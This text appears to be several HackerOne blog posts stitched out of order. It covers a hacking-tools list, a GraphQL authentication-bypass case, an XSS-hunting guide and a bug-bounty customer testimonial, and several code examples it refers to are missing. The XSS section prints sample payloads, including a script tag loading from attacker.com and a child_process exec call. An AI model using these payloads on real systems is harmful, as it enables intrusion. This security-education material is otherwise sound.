68. Spiderfoot: SpiderFoot is an open source intelligence (OSINT) automation tool. It integrates with just about every data source available, and automates OSINT collection so that you can focus on data analysis.

Scanners/Frameworks

69. OpenVAS: OpenVAS is a full-featured vulnerability scanner. Its capabilities include unauthenticated testing, authenticated testing, various high level and low level Internet and industrial protocols, performance tuning for large-scale scans and a powerful internal programming language to implement any type of vulnerability test.
70. Nikto: Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers.
71. Wapiti: Wapiti allows you to audit the security of your websites or web applications. It performs "black-box" scans (it does not study the source code) of the web application by crawling the web pages of the deployed webapp, looking for scripts and forms where it can inject data.
72. Metasploit: Metasploit is an open source penetration testing framework.
73. Maltego: Maltego is an open source intelligence (OSINT) and graphical link analysis tool for gathering and connecting information for investigative tasks.
74. Canvas: CANVAS offers hundreds of exploits, an automated exploitation system, and a comprehensive, reliable exploit development framework to penetration testers and security professionals worldwide.
75. Sn1per: Sn1per Community Edition is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.
76. Lazyrecon: LazyRecon is a script written in Bash, intended to automate the tedious tasks of reconnaissance and information gathering. The information is organized in an html report at the end, which helps you identify next steps.
77. Osmedeus: Osmedeus allows you to automatically run the collection of awesome tools for reconnaissance and vulnerability scanning against the target.
78. pry0cc/axiom: a tool that distributes the workload of many different scanning tools with ease, including nmap, ffuf, masscan, nuclei, meg and many more. 
79. Reconness: ReconNess helps you to run and keep all your #recon in the same place allowing you to focus only on the potentially vulnerable targets without distraction and without requiring a lot of bash skill, or programming skill in general.
80. IronWASP: IronWASP (Iron Web Application Advanced Security testing Platform) is an open source tool used for web application vulnerability testing. It is designed in such a way that users having the right knowledge can create their own scanners using this as a framework. IronWASP is built using Python and Ruby and users having knowledge of them would be able to make full use of the platform. However, IronWASP provides a lot of features that are simple to understand.
81. Nmap: Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing.

Datasets / Freemium Services 

82. Shodan: Shodan provides a public API that allows other tools to access all of Shodan's data. Integrations are available for Nmap, Metasploit, Maltego, FOCA, Chrome, Firefox and many more.
83. Censys: Censys scans the most ports and houses the biggest certificate database in the world, and provides the most up-to-date,  thorough view of your known and unknown assets.
84. Rapid7 Forward DNS (FDNS): This dataset contains the responses to DNS requests for all forward DNS names known by Rapid7's Project Sonar.
85. C99.nl: C99.nl is a scanner that scans an entire domain to find as many subdomains as possible.
86. Seclists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. The goal is to enable a security tester to pull this repository onto a new testing box and have access to every type of list that may be needed.
87. Payloads All The Things: A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques. 

AI Hacking Tools

88. ChatGPT: Since its launch, ChatGPT has helped hackers generate lists for brute forcing, helped them write code, and opened up a new attack vector for hackers to protect against.
89. Azure/PyRIT: The Python Risk Identification Tool for generative AI (PyRIT) is an open access automation framework to empower security professionals and machine learning engineers to proactively find risks in their generative AI systems.
90. Arcanum Cyber Security Bot: Arcanum Appsec Bot’s primary goal is to aid ethical security testers. It will use up-to-date research and dive deep into technical topics. Use it as a conversation buddy during assessments or when learning assessment technology.

Miscellaneous Hacking Tools

91. Ettercap: Ettercap is a comprehensive suite which features sniffing of live connections, content filtering, and support for active and passive dissection of many protocols, including multiple features for network and host analysis.
92. Transformations: Transformations makes it easier to detect common data obscurities, which may uncover security vulnerabilities or give insight into bypassing defenses. 
93. John the Ripper: John the Ripper is free and Open Source software, distributed primarily in a source code form.
94. Wireshark: Wireshark® is a network protocol analyzer that lets you capture and interactively browse the traffic running on a computer network.  
95. Foxyproxy: FoxyProxy is an advanced proxy management tool that completely replaces Firefox's limited proxying capabilities. For a simpler tool and less advanced configuration options, please use FoxyProxy Basic.
96. Wappalyzer: Wappalyzer is a browser extension that uncovers the technologies used on websites. It detects content management systems, eCommerce platforms, web servers, JavaScript frameworks, analytics tools and many more.
97. Buildwith: BuiltWith's goal is to help developers, researchers and designers find out what technologies web pages are using, which may help them decide what technologies to implement themselves.
98. Altair: Altair GraphQL Client helps you debug GraphQL queries and implementations - taking care of the hard part so you can focus on actually getting things done.
99. CyberChef: A simple, intuitive web app for analysing and decoding data without having to deal with complex tools or programming languages
100. Swiftness X: A note taking tool for BB and pentesting.

Whether you’ve just started hacking or are a real pro, we’ve updated our list of 100 hacking tools for your toolkit! 

What Is an Authentication Bypass Vulnerability?

An authentication bypass vulnerability is a weakness in a system that fails to protect against unauthenticated access, allowing an attacker to bypass authentication entirely. There are many different attack vectors and vulnerabilities that lead to authentication bypass, such as SQL injection, insecure account recovery flows, or insecure use of cookies, but ultimately the impact is the same.

In this particular instance, the authentication bypass was enabled by an alternate channel: a GraphQL API with little to no access control, which exposed user creation and modification functionality.

Business Impact of Authentication Bypass

The business impact of authentication bypass is typically severe. Depending on the level of access the vulnerability allows one to gain access without authentication, sensitive data could be accessed and manipulated without any accountable audit trail as to who performed them. 

In the context of the bug discussed in this post, the impact would depend on how this promotional banner was implemented (via iframes or direct script loading). A malicious attacker may have abused this vulnerability to commit financial fraud, carry out social engineering attacks, redirect users to a different site, steal customer PII (Personally Identifiable Information), or deface the website, leading to financial, reputational, and regulatory consequences for the business.

Details: The Bug Report

The main e-commerce website had a promotion banner managed from a third-party integration, hosted on a separate subdomain but embedded on the main website. The third-party application had a GraphQL endpoint on which introspection was enabled, allowing full enumeration of all its endpoints and capabilities.

GraphQL introspection is a useful feature in development that exposes underlying schema via a query. This includes information such as the nodes and fields, their data types, and the queries and mutations that can be performed. It's also very helpful to any potential attackers, as it allows them to thoroughly enumerate your GraphQL database and potentially perform dangerous actions.

An example introspection query fired from GraphQL Playground

A "mutation" is the GraphQL term for an operation that changes the "graph" (the underlying data). In this case, a mutation called Register was found by the researcher, and used to register a user account. Sensitive actions such as user registration should only be called from a backend, from a registration page well protected with measures such as anti-bot reCAPTCHA and email verification. Enabling a registration functionality from an API is not only dangerous to the application, but in this case, allows more sensitive actions to be taken in the GraphQL endpoint.

Finally, after finding and calling the CreateAdminUser mutation, the researcher was able to access even more functionality of the API, including modification of the banner content and details about the promotional products.

How Hackers Find Authentication Bypass Via GraphQL

GraphQL is a very popular technology, and it's not uncommon to see it in use even if it's not tagged as a technology you can filter programs by on HackerOne. So how and why do hackers find GraphQL Authentication Bypass vulnerabilities?

Q: What is it about GraphQL that makes you want to test it?

J. Francisco Bolivar: Being a bug hunter I am always on the lookout for new technologies that have not yet received much scrutiny from the security community. GraphQL, a newer API design paradigm, stands out because of its unique approach to data retrieval and queries. [...] This capability also creates potential vulnerabilities such as DoS attacks through expensive queries or schema exposing introspection queries. Furthermore, since GraphQL is not as mature or widespread as REST, many implementations may lack robust security measures. Consequently, there exists a vast space for discovering unknown security flaws. My intention in testing GraphQL is to identify these gaps and contribute towards hardening this promising technology’s overall security posture.

Q: Immediately after you realize that GraphQL is being used, what's your next step?

J. Francisco Bolivar: Once I realize that GraphQL is being used, my next step involves a series of reconnaissance and analysis actions to understand the structure, capabilities, and potential security weaknesses of the GraphQL implementation, Some of the steps I use to apply are:

• Schema Introspection: Retrieve and examine the GraphQL schema, to grasp structure, types, queries, and mutations.
• Sensitive Data Analysis: Looking for all sensitive fields that it might handle.
• Query Complexity Testing: We want to make sure that the query complexity of our server is within certain limits and that its depth does not reach too deep so as to prevent potential resource exhausting attacks.
• Authorization Checks: Try to access restricted data or carry out unauthorized operations to find out if there are any high-level authorization bypasses.
• Input Validation Testing: Test input validation by sending crafted payloads that have been hand-crafted to fit the bill.
• Error Message Analysis: Analyze error responses from Web Services in order to find out what kind of information leaks about the underlying infrastructure there may be.
• Subscription Testing: If subscriptions are allowed, test for potential data leakage or unauthorized access while Real-Time data transmission is in use.

As Francisco Bolivar said, once the hacker finds the GraphQL endpoint, the first step is to enumerate any GraphQL endpoints for information about its schema. Note that queries can be sent both in the form of GET or POST requests. In a GET request, the query would be in a query parameter like this:

In a POST request, it would be a request sent to https://host/graphql with the body:

If the target endpoint is indeed running GraphQL, it would respond with something like:

To test if introspection is enabled, the hacker can send a basic introspection query:

If introspection is enabled, the hacker might paste the returned schema into GraphQL Voyager to visualize the entire graph and the relationships between different types and fields within them, as well as use tools like GraphQL Playground or Postman to see all the queries that can be made.

If introspection is not enabled, insights can still be gained into the schema by analyzing frontend Javascript source code, as the web application making requests to GraphQL endpoints need to know where and how to make them. Using the browser's developer tools, an attacker may utilize the search functionality to search across all source code files on the site for keywords such as "graphql", "query" and "mutation".

Other ways to deduce schema information include brute-forcing and inspecting background HTTP traffic. A Burp extension called GraphQuail automatically analyzes traffic to GraphQL endpoints in Burp live proxy traffic to build a schema file, and it will emulate a GraphiQL or Voyager interface within the target website using an identifier added after the target endpoint.

If the hacker is not getting enough traffic, or doesn't have a frontend website to get legitimate GraphQL queries, they may use a tool called clairvoyance which can brute force potential types in a wordlist, and analyze error messages from GraphQL servers to guess the schema since they can leak names through typo guessing:

While enumerating the schema, the attacker will look for authentication-related mutations that can be performed, such as registration of users, resetting passwords, changing user details (like email), or access permissions (like whether the user is an admin).

Furthermore, they'll likely try to query fields belonging to users that might be sensitive to authentication-related information, such as auth tokens, passwords and MFA secrets that could aid in authentication bypass. During this process, they'll also check for other vulnerabilities commonly present in GraphQL APIs, such as IDORs (Insecure Direct Object References), leaking of sensitive PII, and broken access control. 

So there are lots of vulnerabilities in GraphQL systems ripe for finding. But why are auth bypasses a common impact of GraphQL bugs? We asked Francisco Bolivar:

Q: Why is it common for GraphQL bugs to result in auth bypasses?

J. Francisco Bolivar: One often encounters authorization bypasses in GraphQL bugs, because of its query language and schema design which are both flexible and complex. A number of variables explain this:

• Field-Level Granularity: The client is allowed to request particular data fields and nested data from GraphQl within a single query. In such circumstances, not all fields and types undergo equal authentication checks. An ineffective access control logic may determine permissions at a higher level than it can enforce by field or nested objects, accidentally allowing access to sensitive information.
• Complex Schema Structures: GraphQL schemas can be quite complicated with deep nesting of types and relationships. This makes the implementation and maintenance of comprehensive access control rules more prone to oversight thereby resulting in chances of authorisation gaps.
• Introspection Queries: GraphQL supports introspection queries that clients can use to discover the schema by default. Introspections when lacking proper security measures may help attackers find out about hidden fields, types and operations hence giving them valuable information they need to form queries that dodge checking authorizations.

How Can You Avoid GraphQL-Related Bugs in Your Applications?

Disabling GraphQL introspection definitely reduces an attacker's visibility into your application, but there's a game of balance here: if you have a bug bounty program, it may be beneficial to leave it on for testing or staging environments that researchers have access to so that they can quickly find critical issues such as authentication bypass and address the root causes. On the other hand, if you only make your production environment available to bug bounty hackers, then you should turn introspection off to minimize risk.

As for protecting against discovering the GraphQL schema via leaking correct types from suggestions in validation error messages, it's currently not a first-class configuration feature in Apollo (which is one of the most popular GraphQL servers), but there's a workaround using the formatError handler where you can string match for "Did you mean" and change the error message to something more generic.

The root cause of these types of vulnerabilities are, however, not GraphQL introspection, but the broken access control that allowed unauthenticated users to escalate privileges through sensitive mutations which they shouldn't be allowed to call. To address this root cause, authorization must be explicitly specified for each query and mutation in the schema, with the appropriate permission levels (for example, a normal user should not be able to call the CreateAdminUser mutation). The most secure code is code that does not exist: extraneous functionality such as CreateAdminUser should not even exist if it's not needed - the same goes with any other queries and mutations in a large GraphQL database.

Conclusion

With the rising popularity of GraphQL in web applications, it is essential to secure authentication and authorization correctly in GraphQL API, lest it becomes a path for attackers to bypass authentication and escalate privileges. With its large attack surface, GraphQL APIs should be constantly audited to lock down security permissions and remove unnecessary functionality. Fortunately, this severe vulnerability was found and reported via HackerOne's bug bounty program and fixed within a matter of days. 

This bug was found during the 2023 HackerOne Ambassador World Cup (AWC), an eight-month-long, competition-driven way to build community engagement, collaboration, and ambassador brand awareness throughout the hacker community. We have some words from Francisco Bolivar about his own experience at the AWC:

Q: What do you like about participating in the Ambassador World Cup?

J. Francisco Bolivar: Participating in the Ambassador World Cup was one of the best experiences I had. It's the most important bug bounty competition, and I'm proud to have won it with my team, Spain. The experience allows me to connect with a global community, challenge and enhance my skills, and engage in meaningful cultural exchanges. Winning the Best Bug prize for AS Watson adds to my pride and highlights the significant impact of our work.

The 2024 AWC is currently taking place! The AWC, led by HackerOne Brand Ambassadors, allows teams of hackers worldwide to identify impactful vulnerabilities in participating customer programs. Reach out to your customer success manager to learn more about how your program can engage in the 2024 tournament!

Secure Your Web Application From Authentication Bypass With HackerOne

The advantage of having a bug bounty program is that hackers from our community constantly test your new applications, domains, and API endpoints as soon as they go live. HackerOne and our community of ethical hackers are best equipped to help organizations identify and remediate Authentication Bypass and other vulnerabilities, whether through bug bounty, Pentest as a Service (PTaaS), Code Security Audit, or other solutions by considering the attacker's mindset on discovering a vulnerability.

Download the 7th Annual Hacker Powered Security Report to learn more about the impact of the top 10 HackerOne vulnerabilities, or contact HackerOne to get started taking on Authentication Bypass vulnerabilities at your organization.

GraphQL is a very popular technology stack used by backend APIs of web services and mobile applications alike. Its versatility in batch fetching and updating records makes it simple to implement complex business logic. However, there are many unseen risks when using GraphQL to build APIs. One of the biggest challenges is the enforcement of proper access control.

In this blog, we will investigate an authentication bypass vulnerability report in an e-commerce application API. The researcher, J. Francisco Bolivar, found that he could abuse GraphQL as an alternate channel to escalate privileges and ultimately gain administrative access that can alter content on a front-page promotional banner and details of promotional products. 

Along with doing our own research on GraphQL testing and remediation, we've also reached out to J. Francisco Bolivar for a Q&A on this bug report, so snippets from the Q&A will be gem-dropped throughout the blog.

What Is XSS?

XSS, short for Cross-Site Scripting, is a common type of vulnerability in web applications that executes arbitrary JavaScript in the victim's browser. XSS can often be chained with other vulnerabilities to mount more impactful attacks, such as information disclosure, account takeover, and even remote code execution.

XSS Vulnerabilities and How to Find Them

XSS vulnerabilities discovered by security researchers can be grouped into three general categories: reflected, stored, and DOM-based, but other interesting situations also crop up (like blind XSS and server-side XSS). In this article, we will introduce each type of XSS and share tips and tricks on how to look for them.

Payloads to Use

For effective testing of parameters that might end up executing JavaScript, polyglots (a piece of data that can be interpreted into different formats) are extremely useful, as are large lists of known XSS payloads that might work in different scenarios. 

For example, a straight-up <script> or <img> tag might only be good for a straightforward reflected XSS, whereas something that starts with "><script> would help close off a previous element's attribute and inject a new tag; but this polyglot payload would work in a variety of situations, including escaping quotes, closed brackets, injecting into attributes, and even in the middle of JavaScript comments.

The PayloadsAllTheThings GitHub repo has many normal and polyglot XSS payloads in different scenarios. The HackTricks page on XSS describes many scenarios and corresponding payloads. Last but not least, this Auto_Wordlists repo has many XSS wordlists for automated testing.

Manual vs. Automated

Both manual and automated approaches to finding XSS vulnerabilities have advantages. One consideration is scope: if the scope of a pentest or bug bounty program is very large in terms of apps and subdomains, employing an automated approach would help to find low-hanging XSS bugs in a large number of assets.

Popular tools for automating finding XSS bugs include Dalfox, XSStrike, and callback platforms like xsshunter (depending on the policy of the program you are hunting on, as not all programs allow third party XSS callbacks). Dalfox supports both stored and reflected XSS, whereas XSStrike only supports reflected; xsshunter acts as a self-hosted callback XSS hook, which can be used in combination with Dalfox for blind XSS testing (where the JavaScript could be executed but is not immediately apparent in the response). At the moment, automated tools for finding anything beyond low-hanging reflected XSS are limited; they are best used to augment manual testing.

Manual testing is the only way to find deeper XSS vulnerabilities which may require bypassing complex application filters, different encodings, and bypassing Web Application Firewalls (WAFs). During manual testing of an application, you naturally pick up interesting application flows and parameters to test XSS with (such as OAuth login redirect parameters, user input being embedded in background API calls, and so on).

Reflected XSS

The most straightforward type of XSS vulnerability is reflected XSS (or RXSS for short). This is a type of non-persistent XSS (the attack payload does not persist on the server) that reflects the user input in an unsanitized way back to the output web page, resulting in the embedding of user-supplied HTML elements or attributes that are executed by the browser.

RXSS is usually found in a GET request where parameters in the URL are reflected back to the browser without proper encoding. Good examples of these include search queries, redirects, and error messages.

For example, in this report, the error message on a login page is reflected from the URL without being HTML encoded:

Another very popular place that RXSS pops up (pun intended) is redirect parameters. Application endpoints such as post-login redirects, "confirm you are leaving this site" redirects, and so on often contain parameters in the URL that the browser interprets; however, unchecked special URLs, such as ones starting with the "javascript" protocol, can lead to JavaScript execution.

For example, this bug report describes an RXSS in a Shopify subdomain in the "returnTo" parameter, which appears to be a parameter that defines the redirect URL after a new account is created:

Stored XSS

Stored XSS refers to user input stored by the web application that is unsanitized when rendered. Any web application that stores data from users (or other external sources) and then displays it elsewhere could be vulnerable to stored XSS. Popular places to look for stored XSS are comment fields, user profile data, private messages, and even emails. A famous example of stored XSS is the Samy Worm, which was a self-propagating XSS payload that added Samy Kamkar as a friend and posted a status update:  "but most of all, samy is my hero".

To find stored XSS, you need to find a relationship between the source and the sink, i.e. you need to find where the user input eventually gets printed. Sometimes it's obvious, such as in the comment section of a blog. Other times, it's available on a separate page, like the user's profile after an update of the bio.

Sometimes, stored XSS is found in the lack of sanitization when converting from one format to another, such as rendering Markdown to HTML, like in this report on GitLab Stored XSS in its wiki:

This is also a good example of mutation XSS, where broken or invalid HTML syntax is automatically fixed by the browser to facilitate a complex filter bypass. In places where free-form HTML code can be used in a limited way, like Markdown input, special syntax in forum posts, and so on, you may be able to find stored XSS by diving deep and playing around with different filter bypasses. For a really in-depth guide to bypassing XSS defenses (mutation XSS), check out chapter 2 of the "Beyond XSS" book.

Blind XSS

Blind XSS (bXSS) is a form of stored XSS that is executed blindly in the sense that the payload is rendered on a system not accessible to the attacker. This often takes place in some administrative backend. The attacker can abuse the blind XSS to exfiltrate information or perform actions that would not otherwise be visible to them. 

Some common places to find bXSS include:

• Injecting into logs via HTTP headers (like user agent and cookies)
• Account registration
• Feedback forms
• Usernames / Email addresses

Blind XSS vulnerabilities can be tricky to exploit because the researcher can't see the payload trigger in their browser. Instead, the attacker needs to host a callback endpoint (such as xsshunter or Burp collaborator) to detect the payload execution. A more complex payload can be injected to exfiltrate the contents of the current page. 

For example, in this report the hacker put an XSS payload into the user's name during registration time, and the admin dashboard in a third-party domain triggers the XSS payload. To maximize your chances of finding Blind XSS on a program, make sure to include XSS payloads that do remote callbacks and have a persistent callback service that alerts you when payloads are triggered.

DOM-based XSS

The Document Object Model (DOM for short) is the internal representation of parsed HTML code in the browser, which gets rendered and displayed as the resulting web page. This document object can be manipulated with JavaScript to dynamically change the contents of a page; in fact, it is often done by Single Page Applications (SPAs) and JavaScript frameworks to dynamically update a web application with new content.

DOM-based XSS refers to an XSS that takes place purely in the client-side code, such as a call to the document.write function or appending data to the innerHTML of an element. Finding DOM-based XSS often requires analysis of sources and sinks in the JavaScript code. A good tool for doing that is Burp Suite's DOM Invader, which is installed in the Burps' default browser as an extension. To enable it, go into extensions in the Burp browser and turn on "Burp Suite":

Then, click on the enabled extension on the top right corner, enable everything, and copy the canary it generates: 

Now, when DOM Invader loads a web page, you can use that canary in the fields you want to test (e.g. search fields, and it will highlight the sinks that it has identified the canary going into:

Here, DOMInvader has identified a DOM XSS vulnerability in Portswigger Academy's Gin and Juice Shop (an intentionally vulnerable web application). It highlights the part of the payload that's embedded in the sink, and from there, we can craft an exploit, knowing that the user input is embedded in the end of a src attribute in an img tag:

We can click the "Exploit" button, at which point DOM invader tries to close off the tag and add a new HTML tag to execute JavaScript:

Which essentially manipulates the element to this:

But that doesn't work, as HTML tags are not allowed, and the web app blocks our request:

But since we now know where the vulnerability is, we can create our own payload, which just adds an onload attribute to execute JavaScript after the image is loaded:

And just like that, we've found and validated a DOM-based XSS using DOM invader.

Finding XSS in Unusual Places

XSS in PDFs

Pay extra attention to any functionality that generates PDFs, as the rendering process of a HTML page into PDF could result in the execution of JavaScript in the process on the server side, leading to Server Side XSS and other bugs like local file inclusion and SSRF via iframe and other tags. Server Side XSS has a severe impact and can be used to disclose information about the server, use it to request data from internal servers, and could even be used to run an internal port scan.

You can use some basic tags such as <img src="x" onerror="document.write('test')" /> to test if JavaScript is executed during the PDF generation process to add extra data into the document, and then try other things like loading a remote script from your own domain (like <script src="http://attacker.com/myscripts.js"></script>).

XSS in PDFs can also execute in the browser via vulnerable PDF rendering components that inadvertently allow JavaScript execution. For example, this report shows a stored XSS in the PDF rendering component in Slack (which allows users to upload PDFs and other files, and has a built-in PDF viewer for convenience). It was rated as a high-severity bug and had a payout close to $5000.

XSS in Electron Applications

Electron applications (such as Slack and Microsoft Teams) bundle a local NodeJS backend with a Chromium browser frontend. That means web application vulnerabilities apply to Electron applications and can even have more severe consequences. Execution of backend JavaScript can result in RCE (Remote Code Execution) on the local machine if the right requirements are met.

It's very easy to unpack and inspect the source code of Electron applications: find the app.asar file and use the asar utility from npm to extract it into a directory, then generate its lockfile and analyze it for vulnerabilities in JavaScript dependencies using npm audit:

Check its source code for any mention of nodeIntegration, and if nodeIntegration: true is present, it means XSS vulnerabilities can also execute backend NodeJs code and would lead to RCE. For example, an attacker that can execute arbitrary JavaScript in an Electron app can run require('child_process').exec('calc'); which uses the child_process module in NodeJS to run any commands on the machine.

Any XSS vulnerabilities that apply to normal web applications can also apply to Electron applications, especially stored and DOM-based XSS. For example, this RCE vulnerability in Rocket Chat's desktop app comes from execution of arbitrary HTML and JavaScript content in the context of the Electron application. Using an XSS vulnerability in its Markdown parser, the attacker could redirect the user to a malicious web page and use JavaScript to execute code on the local machine.

When testing Electron desktop applications, be sure to try various features that turn user input into HTML (like markdown and PDF rendering), and use tools such as Electronegativity to identify potential security misconfigurations and DOM-based vulnerabilities.

Conclusion

XSS is one of the most common vulnerabilities in web applications, and an ongoing area of security research. This article tries to scratch just beneath the surface to share tips and tricks for finding interesting XSS vulnerabilities, but nothing beats the curiosity, creativity, and persistence of a hacker (yes, I am talking about you) when it comes to finding novel vulnerabilities, exploits, and bypasses. 

Happy hacking!

Secure Your Web Application From XSS With HackerOne

HackerOne and our community of ethical hackers are best equipped to help organizations identify and remediate XSS and other vulnerabilities, whether through bug bounty, Pentest as a Service (PTaaS), Code Security Audit, or other solutions by considering the attacker's mindset on discovering a vulnerability.

Download the 7th Annual Hacker Powered Security Report to learn more about the impact of the top 10 HackerOne vulnerabilities, or contact HackerOne to get started taking on XSS vulnerabilities at your organization.

1. Why VDP and Bug Bounty?

At SIX Group, Alex Hagenah emphasized the year-round success of going beyond the regulatory requirements of the financial services industry.

“We’re a highly regulated market, so we have to run pentests. But the more we onboarded onto our bug bounty program, the more we see there are issues we haven’t found before — and they’re introduced all the time. When applications are updated, we can say we did our due diligence, but we also have hackers looking at it around the clock. It’s incredible, and we find bugs all year round now.”
— Alex Hagenah, Head of Cyber Controls, SIX Group

2. Unmatched Creativity

Focused on making the Swiss financial market secure, SIX Group relies heavily on the creativity of bug bounty security researchers.

“Whatever team I build up, they cannot replicate the creativity and man-hours being put in by ethical hackers on a bug bounty platform. We run pentests, then put it into a private program, then after putting it into the bug bounty, we still find critical vulnerabilities that weren’t found previously. You cannot replicate that creativity — they're specialists in all kinds of areas, and it’s super important for us to apply to them.”
— Alex Hagenah, Head of Cyber Controls, SIX Group

3. Time Spent

A common question our panelists received was, “How much time do you spend on bug bounty, and do you have dedicated team members who work on it?” While every organization and security team is different, the amount of time teams need to dedicate to managing the bug bounty program was resoundingly reasonable.

“Thank god we have the triagers at HackerOne. We don't spend too much time, and when the triagers confirm the bug, it comes to us only and the effort is not a lot. We have a person dedicated to bug bounty in my team, but it's not a full-time job for her.”
— Alex Hagenah, Head of Cyber Controls, SIX Group

4. Leadership Buy-in

Perhaps the top concern from our event audience was the effort of receiving leadership buy-in and what methods our customers have used to champion the value of bug bounty and VDP in their organizations. To Alex, the ROI of bug bounty is clear.

“Traditionally, you have your return on investment, which can be harder to express with bug bounty. How I sell it internally is you have the return of mitigation or return of prevention. If you just tell them ‘Give me that amount of money for our bug bounty program,’ they think, ‘But what do we get in return?’ Well, if we have a breach, it's going to cost you millions. Then, it's actually not a lot of money, right?”
— Alex Hagenah, Head of Cyber Controls, SIX Group

5. Budget

Leadership buy-in and budget allocation go hand-in-hand. At SIX Group, Hagenah proved that bug bounty budget is crucial to achieving goals.

“For me, it was essential that we incorporated bug bounty into our comprehensive information security strategy. Otherwise, we wouldn't be able to achieve what we want to achieve. This approach has been crucial in securing and spreading the budget for it over a few years.”
—  Alex Hagenah, Head of Cyber Controls, SIX Group

Thank you so much to our customer SIX Group for joining us! To discuss the benefits of bug bounty and VDP with HackerOne, contact us today.

“We have Code Review, Pentest, and on top of that, we have VDP and Bug Bounty running 24/7/365. I will say it's 100% worth it.”

That’s the gusto with which HackerOne customer SIX Group expresses the power of bug bounty and vulnerability disclosure programs (VDPs) with HackerOne Response. Alex Hagenah, Head of Cyber Controls at SIX Group, joined us at Security@ EMEA to discuss aspects of community-driven security, from time and budget to leadership buy-in.